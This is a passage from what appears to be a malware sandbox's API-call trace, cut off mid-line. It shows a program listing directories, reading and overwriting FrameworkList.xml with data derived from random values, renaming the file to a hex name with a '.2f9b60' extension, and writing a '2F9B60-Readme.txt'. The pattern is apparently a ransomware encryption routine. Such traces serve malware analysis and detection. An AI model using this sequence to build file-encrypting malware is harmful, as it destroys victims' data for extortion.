[0153.349] wcscmp (_String1=".", _String2=".") returned 0 [0153.349] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.349] wcscmp (_String1="..", _String2=".") returned 1 [0153.349] wcscmp (_String1="..", _String2="..") returned 0 [0153.349] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7f300, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xdae7f300, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xdae7f300, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x59bde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0153.349] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0153.350] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0153.350] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36fed00, ftCreationTime.dwHighDateTime=0x1d28825, ftLastAccessTime.dwLowDateTime=0x36fed00, ftLastAccessTime.dwHighDateTime=0x1d28825, ftLastWriteTime.dwLowDateTime=0x36fed00, ftLastWriteTime.dwHighDateTime=0x1d28825, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0153.350] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1 [0153.350] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1 [0153.350] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36fed00, ftCreationTime.dwHighDateTime=0x1d28825, ftLastAccessTime.dwLowDateTime=0x36fed00, ftLastAccessTime.dwHighDateTime=0x1d28825, ftLastWriteTime.dwLowDateTime=0x36fed00, ftLastWriteTime.dwHighDateTime=0x1d28825, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0153.350] FindClose (in: hFindFile=0x1cd86c70 | out: hFindFile=0x1cd86c70) returned 1 [0153.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61430) returned 1 [0153.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e180) returned 1 [0153.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e280) returned 1 Thread: id = 2409 os_tid = 0x1e18 [0153.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xec) returned 0x1b78e280 [0153.353] wcscpy (in: _Dest=0x1b78e280, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" [0153.353] wcscat (in: _Dest=0x1b78e280, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\" [0153.353] wcscat (in: _Dest=0x1b78e280, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*" [0153.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61430 [0153.353] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86c70 [0153.353] wcscmp (_String1=".", _String2=".") returned 0 [0153.353] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.354] wcscmp (_String1="..", _String2=".") returned 1 [0153.354] wcscmp (_String1="..", _String2="..") returned 0 [0153.354] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x532ebf00, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x532ebf00, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x532ebf00, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x4b4520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0153.354] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0153.354] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0153.354] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0153.354] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1 [0153.354] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1 [0153.354] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0153.354] FindClose (in: hFindFile=0x1cd86c70 | out: hFindFile=0x1cd86c70) returned 1 [0153.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61430) returned 1 [0153.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e280) returned 1 [0153.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799430) returned 1 Thread: id = 2410 os_tid = 0x1e1c [0153.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml")) returned 0x20 [0153.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", dwFileAttributes=0x20) returned 1 [0153.358] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa98 [0153.358] GetFileSizeEx (in: hFile=0xa98, lpFileSize=0x24baf780 | out: lpFileSize=0x24baf780*=7124) returned 1 [0153.358] SetFilePointerEx (in: hFile=0xa98, liDistanceToMove=0x1bd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.358] ReadFile (in: hFile=0xa98, lpBuffer=0x24baf700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24baf748, lpOverlapped=0x0 | out: lpBuffer=0x24baf700*, lpNumberOfBytesRead=0x24baf748*=0x4, lpOverlapped=0x0) returned 1 [0153.504] SetFilePointerEx (in: hFile=0xa98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053550 [0153.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053640 [0153.505] NtQuerySystemTime (in: CurrentTime=0x24baf640 | out: CurrentTime=0x24baf640*=132462177586438000) returned 0x0 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x3799c40e [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x7d6dd1af [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x6405e617 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x4b255e61 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x4531941b [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x79f369ed [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x55ed857b [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x173036c0 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x465a2607 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x6c72aafa [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x59054f36 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x431bbeb9 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x59c408ca [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x1e9167bb [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x58089021 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x4972cde7 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x663096c3 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x85d91c4 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x11379b7c [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x696bbffa [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x3efd66b5 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x4a171109 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x512bd961 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x22259c3f [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x74f6cea8 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x698c2cc [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x5ed4d72 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x179e0af8 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x59ae8217 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x4d264d50 [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x707c0c1d [0153.505] RtlRandomEx (in: Seed=0x24baf630 | out: Seed=0x24baf630) returned 0x2c0232d2 [0153.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053670 [0153.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8687c0 [0153.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420536a0 [0153.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0153.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053640) returned 1 [0153.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bfe0 [0153.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8687c0 [0153.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4260c580 [0153.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42610190 [0153.515] ReadFile (in: hFile=0xa98, lpBuffer=0x4260c580, nNumberOfBytesToRead=0x1bd4, lpNumberOfBytesRead=0x24baf630, lpOverlapped=0x0 | out: lpBuffer=0x4260c580*, lpNumberOfBytesRead=0x24baf630*=0x1bd4, lpOverlapped=0x0) returned 1 [0154.261] SetFilePointerEx (in: hFile=0xa98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.261] WriteFile (hFile=0xa98, lpBuffer=0x42610190, nNumberOfBytesToWrite=0x1bd4, lpNumberOfBytesWritten=0x24baf634, lpOverlapped=0x0) [0186.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2dec0 [0186.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2def0 [0186.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2def0) returned 1 [0186.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42610190) returned 1 [0186.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4260c580) returned 1 [0186.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0186.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bfe0) returned 1 [0186.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1ce5d230 [0186.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bfe0 [0186.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8687c0 [0186.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2def0 [0186.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2def0) returned 1 [0186.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1ce5d270 [0186.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2def0 [0186.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2dda0 [0186.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2dda0) returned 1 [0186.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0186.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bfe0) returned 1 [0186.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x114) returned 0x43101ec0 [0186.834] SetFilePointerEx (in: hFile=0xa98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.834] WriteFile (in: hFile=0xa98, lpBuffer=0x43101ec0*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x24baf750, lpOverlapped=0x0 | out: lpBuffer=0x43101ec0*, lpNumberOfBytesWritten=0x24baf750*=0x114, lpOverlapped=0x0) returned 1 [0201.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c170 [0201.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c170) returned 1 [0201.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42c1c170 [0201.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c140 [0201.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c080 [0201.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c080) returned 1 [0201.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce5c740 [0201.139] sprintf (in: _Dest=0x1ce5c740, _Format="%c%c" | out: _Dest="df") returned 2 [0201.139] sprintf (in: _Dest=0x1ce5c742, _Format="%c%c" | out: _Dest="85") returned 2 [0201.139] sprintf (in: _Dest=0x1ce5c744, _Format="%c%c" | out: _Dest="1e") returned 2 [0201.139] sprintf (in: _Dest=0x1ce5c746, _Format="%c%c" | out: _Dest="59") returned 2 [0201.139] sprintf (in: _Dest=0x1ce5c748, _Format="%c%c" | out: _Dest="04") returned 2 [0201.139] sprintf (in: _Dest=0x1ce5c74a, _Format="%c%c" | out: _Dest="0a") returned 2 [0201.139] sprintf (in: _Dest=0x1ce5c74c, _Format="%c%c" | out: _Dest="57") returned 2 [0201.139] sprintf (in: _Dest=0x1ce5c74e, _Format="%c%c" | out: _Dest="94") returned 2 [0201.139] sprintf (in: _Dest=0x1ce5c750, _Format="%c%c" | out: _Dest="99") returned 2 [0201.139] sprintf (in: _Dest=0x1ce5c752, _Format="%c%c" | out: _Dest="bf") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c754, _Format="%c%c" | out: _Dest="98") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c756, _Format="%c%c" | out: _Dest="da") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c758, _Format="%c%c" | out: _Dest="49") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c75a, _Format="%c%c" | out: _Dest="a2") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c75c, _Format="%c%c" | out: _Dest="86") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c75e, _Format="%c%c" | out: _Dest="32") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c760, _Format="%c%c" | out: _Dest="19") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c762, _Format="%c%c" | out: _Dest="4a") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c764, _Format="%c%c" | out: _Dest="0d") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c766, _Format="%c%c" | out: _Dest="37") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c768, _Format="%c%c" | out: _Dest="cf") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c76a, _Format="%c%c" | out: _Dest="7e") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c76c, _Format="%c%c" | out: _Dest="f5") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c76e, _Format="%c%c" | out: _Dest="9b") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c770, _Format="%c%c" | out: _Dest="80") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c772, _Format="%c%c" | out: _Dest="56") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c774, _Format="%c%c" | out: _Dest="38") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c776, _Format="%c%c" | out: _Dest="e9") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c778, _Format="%c%c" | out: _Dest="f2") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c77a, _Format="%c%c" | out: _Dest="e1") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c77c, _Format="%c%c" | out: _Dest="a0") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c77e, _Format="%c%c" | out: _Dest="76") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c780, _Format="%c%c" | out: _Dest="1b") returned 2 [0201.140] sprintf (in: _Dest=0x1ce5c782, _Format="%c%c" | out: _Dest="bf") returned 2 [0201.141] RtlInitAnsiString (in: DestinationString=0x24baf7c8, SourceString="df851e59040a579499bf98da49a28632194a0d37cf7ef59b805638e9f2e1a0761bbf" | out: DestinationString="df851e59040a579499bf98da49a28632194a0d37cf7ef59b805638e9f2e1a0761bbf") [0201.141] RtlAnsiStringToUnicodeString (in: DestinationString=0x24baf798, SourceString="df851e59040a579499bf98da49a28632194a0d37cf7ef59b805638e9f2e1a0761bbf", AllocateDestinationString=1 | out: DestinationString="df851e59040a579499bf98da49a28632194a0d37cf7ef59b805638e9f2e1a0761bbf") returned 0x0 [0201.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x43189f80 [0201.141] wcscat (in: _Dest=0x4310a7f0, _Source="df851e59040a57949" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\df851e59040a57949") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\df851e59040a57949" [0201.141] wcscat (in: _Dest=0x4310a7f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\df851e59040a57949.2f9b60") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\df851e59040a57949.2f9b60" [0201.142] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\df851e59040a57949.2f9b60", NtPathName=0x24baf770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\df851e59040a57949.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe4) returned 0x1b799340 [0208.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799340) returned 1 [0208.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432047f0) returned 1 [0208.238] NtQueryInformationFile (in: FileHandle=0xa98, IoStatusBlock=0x24baf7d8, FileInformation=0x24baf7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24baf7d8, FileInformation=0x24baf7e8) returned 0x0 [0208.238] NtSetInformationFile (FileHandle=0xa98, IoStatusBlock=0x24baf7d8, FileInformation=0x24baf7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310a7f0) returned 1 [0209.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43189f80) returned 1 [0209.791] FlushFileBuffers (hFile=0xa98) returned 1 [0212.756] CloseHandle (hObject=0xa98) returned 1 [0215.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310c050 [0215.707] wcscpy (in: _Dest=0x4310c050, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\" [0215.707] wcscat (in: _Dest=0x4310c050, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\2F9B60-Readme.txt") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\2F9B60-Readme.txt" [0215.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\2F9B60-Readme.txt" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\2f9b60-readme.txt")) returned 0xffffffff [0215.707] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\2F9B60-Readme.txt" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0218.153] WriteFile (in: hFile=0x500, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x24baf690, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x24baf690*=0xba9, lpOverlapped=0x0) returned 1 [0222.507] CloseHandle (hObject=0x500) returned 1 [0224.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c050) returned 1 [0224.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202792b0) returned 1 Thread: id = 2411 os_tid = 0x1e20 [0153.360] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml")) returned 0x20 [0153.361] SetFileAttributesW (lpFileName="C:\\Program Files 